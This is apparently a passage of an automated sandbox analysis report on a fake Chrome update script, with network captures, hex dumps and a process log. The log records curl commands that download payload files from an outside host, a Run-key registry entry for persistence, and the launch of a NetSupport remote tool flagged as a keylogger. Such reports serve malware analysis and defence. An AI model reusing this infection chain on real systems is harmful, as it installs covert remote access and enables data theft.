2023-08-02 08:30:45 UTC	2703	IN	Data Raw: d5 8b f0 3b f3 74 0c c7 05 40 38 49 00 01 00 00 00 eb 28 ff 15 f0 a1 47 00 8b f8 3b fb 0f 84 ea 00 00 00 c7 05 40 38 49 00 02 00 00 00 e9 8f 00 00 00 83 f8 01 0f 85 81 00 00 00 3b f3 75 0c ff d5 8b f0 3b f3 0f 84 c2 00 00 00 66 39 1e 8b c6 74 0e 40 40 66 39 18 75 f9 40 40 66 39 18 75 f2 2b c6 8b 3d 44 a0 47 00 d1 f8 53 53 40 53 53 50 56 53 53 89 44 24 34 ff d7 8b e8 3b eb 74 32 55 e8 4e b4 ff ff 3b c3 59 89 44 24 10 74 23 53 53 55 50 ff 74 24 24 56 53 53 ff d7 85 c0 75 0e ff 74 24 10 e8 65 b5 ff ff 59 89 5c 24 10 8b 5c 24 10 56 ff 15 ec a1 47 00 8b c3 eb 53 83 f8 02 75 4c 3b fb 75 0c ff 15 f0 a1 47 00 8b f8 3b fb 74 3c 38 1f 8b c7 74 0a 40 38 18 75 fb 40 38 18 75 f6 2b c7 40 8b e8 55 e8 e7 b3 ff ff 8b f0 59 3b f3 75 04 33 f6 eb 0b 55 57 56 e8 cf b9 ff ff Data Ascii: ;t@8I(G;@8I;u;f9t@@f9u@@f9u+=DGSS@SSPVSSD$4;t2UN;YD$t#SSUPt$$VSSut$eY\$\$VGSuL;uG;t<8t@8u@8u+@UY;u3UWV
2023-08-02 08:30:45 UTC	2719	IN	Data Raw: f8 ff 8d 4d cc e9 91 cd f8 ff 8d 4d d8 e9 89 cd f8 ff 8d 4d c0 e9 81 cd f8 ff 8d 4d d8 e9 79 cd f8 ff 8d 4d c0 e9 71 cd f8 ff 8d 4d 94 e9 e7 39 fb ff 8d 4d 94 e9 df 39 fb ff 8d 4d bc e9 32 d9 f8 ff 8d 4d 94 e9 cf 39 fb ff b8 28 01 48 00 e9 02 6a ff ff cc cc 8d 4d e8 e9 3d cd f8 ff 8d 4d d0 e9 35 cd f8 ff 8d 4d dc e9 2d cd f8 ff b8 a8 01 48 00 e9 de 69 ff ff cc cc 8d 4d e0 e9 19 cd f8 ff b8 e0 01 48 00 e9 ca 69 ff ff cc cc 8d 4d e8 e9 05 cd f8 ff b8 08 02 48 00 e9 b6 69 ff ff cc cc 8d 4d e8 e9 f1 cc f8 ff b8 30 02 48 00 e9 a2 69 ff ff cc cc 8d 4d e0 e9 dd cc f8 ff b8 58 02 48 00 e9 8e 69 ff ff cc cc 8d 4d e0 e9 c9 cc f8 ff b8 80 02 48 00 e9 7a 69 ff ff cc cc 8d 4d e4 e9 b5 cc f8 ff 8d 4d cc e9 ad cc f8 ff 8d 4d d8 e9 a5 cc f8 ff b8 a8 02 48 00 e9 56 69 ff Data Ascii: MMMMyMqM9M9M2M9(HjM=M5M-HiMHiMHiM0HiMXHiMHziMMMHVi
2023-08-02 08:30:45 UTC	2735	IN	Data Raw: e9 96 8d f8 ff 8d 8d 34 ff ff ff e9 8b 8d f8 ff 8d 8d 1c ff ff ff e9 80 8d f8 ff 8d 8d 04 ff ff ff e9 75 8d f8 ff 8d 8d ec fe ff ff e9 6a 8d f8 ff b8 c8 66 48 00 e9 1b 2a ff ff cc cc cc 8b 4d f0 e9 d3 f9 fa ff b8 90 67 48 00 e9 06 2a ff ff cc cc ff 75 f0 e8 cc ee f8 ff 59 c3 b8 b8 67 48 00 e9 f0 29 ff ff 8d 4d d4 e9 f7 61 fc ff b8 e0 67 48 00 e9 de 29 ff ff cc cc b8 08 68 48 00 e9 d2 29 ff ff cc cc 8d 4d e0 e9 73 45 fc ff b8 98 68 48 00 e9 be 29 ff ff cc cc 8d 8d 58 ff ff ff e9 58 40 fc ff b8 c0 68 48 00 e9 a7 29 ff ff cc cc cc b8 20 69 48 00 e9 9a 29 ff ff cc cc 8d 4d d0 e9 9f 61 fc ff b8 78 69 48 00 e9 86 29 ff ff cc cc 8d 8d 58 ff ff ff e9 20 40 fc ff b8 a0 69 48 00 e9 6f 29 ff ff cc cc cc 8d 8d c4 fe ff ff e9 08 40 fc ff 8d 8d 5c ff ff ff e9 fd 3f fc Data Ascii: 4ujfHMgHuYgH)MagH)hH)MsEhH)XX@hH) iH)MaxiH)X @iHo)@\?
2023-08-02 08:30:45 UTC	2751	IN	Data Raw: 6f 70 75 70 00 00 47 65 74 41 63 74 69 76 65 57 69 6e 64 6f 77 00 4d 65 73 73 61 67 65 42 6f 78 41 00 75 73 65 72 33 32 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 36 22 47 00 3a 22 47 00 ff ff ff ff ea 22 47 00 ee 22 47 00 ff ff ff ff 6e 24 47 00 72 24 47 00 48 3a 6d 6d 3a 73 73 00 64 64 64 64 2c 20 4d 4d 4d 4d 20 64 64 2c 20 79 79 79 79 00 4d 2f 64 2f 79 79 00 00 50 4d 00 00 41 4d 00 00 44 65 63 65 6d 62 65 72 00 00 00 00 4e 6f 76 65 6d 62 65 72 00 00 00 00 4f 63 74 6f 62 65 72 00 53 65 70 74 65 6d 62 65 72 00 00 00 41 75 67 75 73 74 00 00 4a 75 6c 79 00 00 00 00 4a 75 6e 65 00 00 00 00 41 70 72 69 6c 00 00 00 4d 61 72 63 68 00 00 00 46 65 62 72 75 61 72 79 00 00 00 00 4a 61 6e 75 61 72 79 00 44 65 63 00 4e 6f 76 00 4f 63 74 00 53 65 70 00 41 Data Ascii: opupGetActiveWindowMessageBoxAuser32.dll6"G:"G"G"Gn$Gr$GH:mm:ssdddd, MMMM dd, yyyyM/d/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepA
2023-08-02 08:30:45 UTC	2767	IN	Data Raw: 00 00 3a 53 47 00 06 00 00 00 44 53 47 00 0b 00 00 00 4c 53 47 00 0b 00 00 00 54 53 47 00 06 00 00 00 5c 53 47 00 06 00 00 00 66 53 47 00 0f 00 00 00 6e 53 47 00 10 00 00 00 76 53 47 00 06 00 00 00 7e 53 47 00 06 00 00 00 88 53 47 00 13 00 00 00 90 53 47 00 14 00 00 00 98 53 47 00 14 00 00 00 a2 53 47 00 20 05 93 19 02 00 00 00 78 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b4 53 47 00 00 00 00 00 bf 53 47 00 20 05 93 19 02 00 00 00 a8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff d4 53 47 00 ff ff ff ff df 53 47 00 20 05 93 19 01 00 00 00 d8 0d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f4 53 47 00 20 05 93 19 01 00 00 00 00 0e 48 00 00 00 00 00 00 Data Ascii: :SGDSGLSGTSG\SGfSGnSGvSG~SGSGSGSGSG xHSGSG HSGSG HSG H
2023-08-02 08:30:45 UTC	2783	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 9c 7a 47 00 20 05 93 19 06 00 00 00 28 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff b0 7a 47 00 00 00 00 00 b8 7a 47 00 01 00 00 00 c3 7a 47 00 02 00 00 00 ce 7a 47 00 03 00 00 00 d9 7a 47 00 04 00 00 00 e4 7a 47 00 20 05 93 19 02 00 00 00 78 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff f8 7a 47 00 00 00 00 00 03 7b 47 00 20 05 93 19 01 00 00 00 a8 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 18 7b 47 00 20 05 93 19 04 00 00 00 d0 4d 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff 30 7b 47 00 00 00 00 00 38 7b 47 00 01 00 00 00 43 7b 47 00 02 00 00 00 4e 7b 47 00 20 Data Ascii: zG (MHzGzGzGzGzGzG xMHzG{G MH{G MH0{G8{GC{GN{G
2023-08-02 08:30:45 UTC	2799	IN	Data Raw: 6d 70 61 72 65 46 69 6c 65 54 69 6d 65 00 bc 00 46 69 6c 65 54 69 6d 65 54 6f 53 79 73 74 65 6d 54 69 6d 65 00 00 bb 01 47 65 74 53 79 73 74 65 6d 49 6e 66 6f 00 fa 01 47 6c 6f 62 61 6c 4d 65 6d 6f 72 79 53 74 61 74 75 73 00 00 77 01 47 65 74 4d 6f 64 75 6c 65 48 61 6e 64 6c 65 41 00 00 88 00 44 6f 73 44 61 74 65 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 ba 00 46 69 6c 65 54 69 6d 65 54 6f 44 6f 73 44 61 74 65 54 69 6d 65 00 4e 03 53 79 73 74 65 6d 54 69 6d 65 54 6f 46 69 6c 65 54 69 6d 65 00 00 be 01 47 65 74 53 79 73 74 65 6d 54 69 6d 65 00 83 03 57 61 69 74 46 6f 72 4d 75 6c 74 69 70 6c 65 4f 62 6a 65 63 74 73 00 00 73 02 4f 70 65 6e 45 76 65 6e 74 41 00 00 65 03 55 6e 6d 61 70 56 69 65 77 4f 66 46 69 6c 65 00 5e 02 4d 61 70 56 69 65 77 4f 66 46 69 Data Ascii: mpareFileTimeFileTimeToSystemTimeGetSystemInfoGlobalMemoryStatuswGetModuleHandleADosDateTimeToFileTimeFileTimeToDosDateTimeNSystemTimeToFileTimeGetSystemTimeWaitForMultipleObjectssOpenEventAeUnmapViewOfFile^MapViewOfFi
2023-08-02 08:30:45 UTC	2815	IN	Data Raw: 00 00 00 00 00 00 42 00 43 00 4a 00 32 00 00 00 00 00 00 00 00 00 e0 58 44 00 60 59 44 00 03 01 03 03 00 00 00 00 28 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 42 00 43 00 4a 00 00 00 90 5b 44 00 c0 5b 44 00 05 02 03 03 00 00 00 00 fc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 e0 5b 44 00 00 5c 44 00 01 04 03 03 00 00 00 00 f0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 20 5c 44 00 40 5c 44 00 01 05 03 03 00 00 00 00 e8 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 60 5c 44 00 80 5c 44 00 01 07 03 03 00 00 00 00 dc d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 a0 5c 44 00 c0 5c 44 00 05 08 03 03 00 00 00 00 d0 d9 48 00 01 00 00 00 01 00 00 00 00 00 00 00 53 00 50 00 41 00 52 00 43 00 00 00 41 00 52 00 4d 00 54 00 00 00 00 00 41 00 52 00 4d 00 00 00 49 Data Ascii: BCJ2XD`YD(HBCJ[D[DH[D\DH \D@\DH`\D\DH\D\DHSPARCARMTARMI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.8	49706	188.127.230.147	443	C:\Windows\System32\wscript.exe

Timestamp	kBytes transferred	Direction	Data
2023-08-02 08:30:46 UTC	2830	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat HTTP/1.1 Host: mangoairsoft.com User-Agent: curl/8.0.1 Accept: /
2023-08-02 08:30:46 UTC	2830	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 02 Aug 2023 08:30:46 GMT Content-Type: application/x-msdos-program Content-Length: 532 Connection: close Last-Modified: Thu, 27 Jul 2023 14:27:39 GMT ETag: "214-60178c42f5f39" Accept-Ranges: bytes
2023-08-02 08:30:46 UTC	2830	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 0d 0a 3a 3a 20 73 73 52 73 67 73 33 73 67 73 62 67 73 67 67 73 67 73 33 67 73 67 73 33 73 33 5a 36 0d 0a 3a 3a 20 73 73 52 62 5a 67 73 36 67 73 67 73 33 32 36 66 73 73 52 62 0d 0a 0d 0a 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 78 63 6f 70 79 20 2f 68 20 2f 79 20 37 7a 7a 2e 65 78 65 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 63 6d 64 20 2f 63 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 37 7a 7a 2e 65 78 65 20 78 20 2d 79 20 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 6c 6f 6c 6f 2e 37 7a 20 20 2d 6f 43 3a 5c 50 72 6f 67 72 61 6d 44 61 74 61 5c 20 26 26 20 54 49 4d 45 4f 55 54 20 2f 54 20 37 20 26 26 20 73 74 61 72 74 20 2f 62 20 2f 6d 69 6e 20 63 6d 64 20 2f Data Ascii: @echo off:: ssRsgs3sgsbgsggsgs3gsgs3s3Z6:: ssRbZgs6gsgs326fssRbstart /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\ && TIMEOUT /T 7 && start /b /min cmd /

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 6908, Parent PID: 4612

General

Target ID:	0
Start time:	10:30:39
Start date:	02/08/2023
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Chrome_update(1).js"
Imagebase:	0x7ff7c5240000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exePID: 3092, Parent PID: 6908

General

Target ID:	3
Start time:	10:30:42
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat
Imagebase:	0x7ff7f7920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exePID: 7068, Parent PID: 3092

General

Target ID:	4
Start time:	10:30:42
Start date:	02/08/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7bef30000
File size:	873'472 bytes
MD5 hash:	86191D9E0E30631DB3E78E4645804358
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exePID: 5724, Parent PID: 3092

General

Target ID:	5
Start time:	10:30:42
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\sett.bat"
Imagebase:	0x7ff7f7920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: curl.exePID: 1564, Parent PID: 5724

General

Target ID:	6
Start time:	10:30:42
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"
Imagebase:	0x7ff69b790000
File size:	566'272 bytes
MD5 hash:	05DEDF1936A065612E52C37E40143646
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exePID: 7108, Parent PID: 3092

General

Target ID:	7
Start time:	10:30:44
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\7z.bat"
Imagebase:	0x7ff7f7920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: curl.exePID: 7112, Parent PID: 7108

General

Target ID:	8
Start time:	10:30:44
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"
Imagebase:	0x7ff69b790000
File size:	566'272 bytes
MD5 hash:	05DEDF1936A065612E52C37E40143646
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: cmd.exePID: 7140, Parent PID: 3092

General

Target ID:	9
Start time:	10:30:45
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\qweq.bat"
Imagebase:	0x7ff7f7920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: curl.exePID: 5224, Parent PID: 7140

General

Target ID:	10
Start time:	10:30:45
Start date:	02/08/2023
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"
Imagebase:	0x7ff69b790000
File size:	566'272 bytes
MD5 hash:	05DEDF1936A065612E52C37E40143646
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 7148, Parent PID: 7140

General

Target ID:	11
Start time:	10:30:46
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Imagebase:	0x7ff6ae670000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 4928, Parent PID: 7140

General

Target ID:	12
Start time:	10:30:46
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Imagebase:	0x7ff6ae670000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 3712, Parent PID: 3092

General

Target ID:	13
Start time:	10:30:46
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c C:\ProgramData\qweq.bat"
Imagebase:	0x7ff7f7920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Analysis Process: xcopy.exePID: 3052, Parent PID: 3712

General

Target ID:	14
Start time:	10:30:46
Start date:	02/08/2023
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /h /y 7zz.exe C:\ProgramData\
Imagebase:	0x7ff708e40000
File size:	50'688 bytes
MD5 hash:	39FBFD3AF58238C6F9D4D408C9251FF5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exePID: 4868, Parent PID: 3712

General

Target ID:	15
Start time:	10:30:46
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Imagebase:	0x7ff7f7920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: timeout.exePID: 4692, Parent PID: 3712

General

Target ID:	16
Start time:	10:30:46
Start date:	02/08/2023
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	TIMEOUT /T 7
Imagebase:	0x7ff74f7a0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 7zz.exePID: 1436, Parent PID: 4868

General

Target ID:	17
Start time:	10:30:46
Start date:	02/08/2023
Path:	C:\ProgramData\7zz.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Imagebase:	0x400000
File size:	587'776 bytes
MD5 hash:	42BADC1D2F03A8B1E4875740D3D49336
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs

Chronological Activities

Analysis Process: cmd.exePID: 7036, Parent PID: 3712

General

Target ID:	18
Start time:	10:30:53
Start date:	02/08/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c C:\ProgramData\client32.exe
Imagebase:	0x7ff7f7920000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: reg.exePID: 3764, Parent PID: 3712

General

Target ID:	19
Start time:	10:30:53
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Imagebase:	0x7ff6ae670000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 1652, Parent PID: 7036

General

Target ID:	20
Start time:	10:30:53
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\client32.exe
Imagebase:	0x280000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3588021800.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3579613734.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000000.1254567847.0000000000282000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000014.00000002.3568927747.0000000000282000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus matches:	Detection: 12%, ReversingLabs

Chronological Activities

Analysis Process: reg.exePID: 6680, Parent PID: 3712

General

Target ID:	21
Start time:	10:30:54
Start date:	02/08/2023
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Imagebase:	0x7ff6ae670000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: client32.exePID: 6836, Parent PID: 4612

General

Target ID:	22
Start time:	10:31:00
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x280000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000000.1319389231.0000000000282000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000002.1325547573.0000000000282000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000016.00000002.1329461804.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: client32.exePID: 6916, Parent PID: 4612

General

Target ID:	29
Start time:	10:31:08
Start date:	02/08/2023
Path:	C:\ProgramData\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\client32.exe"
Imagebase:	0x280000
File size:	101'680 bytes
MD5 hash:	F70B67C2B3204B7DDD8B755799CCCFF0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000001D.00000002.1408985353.00000000111E2000.00000004.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000001D.00000000.1403272833.0000000000282000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000001D.00000002.1406703924.0000000000282000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security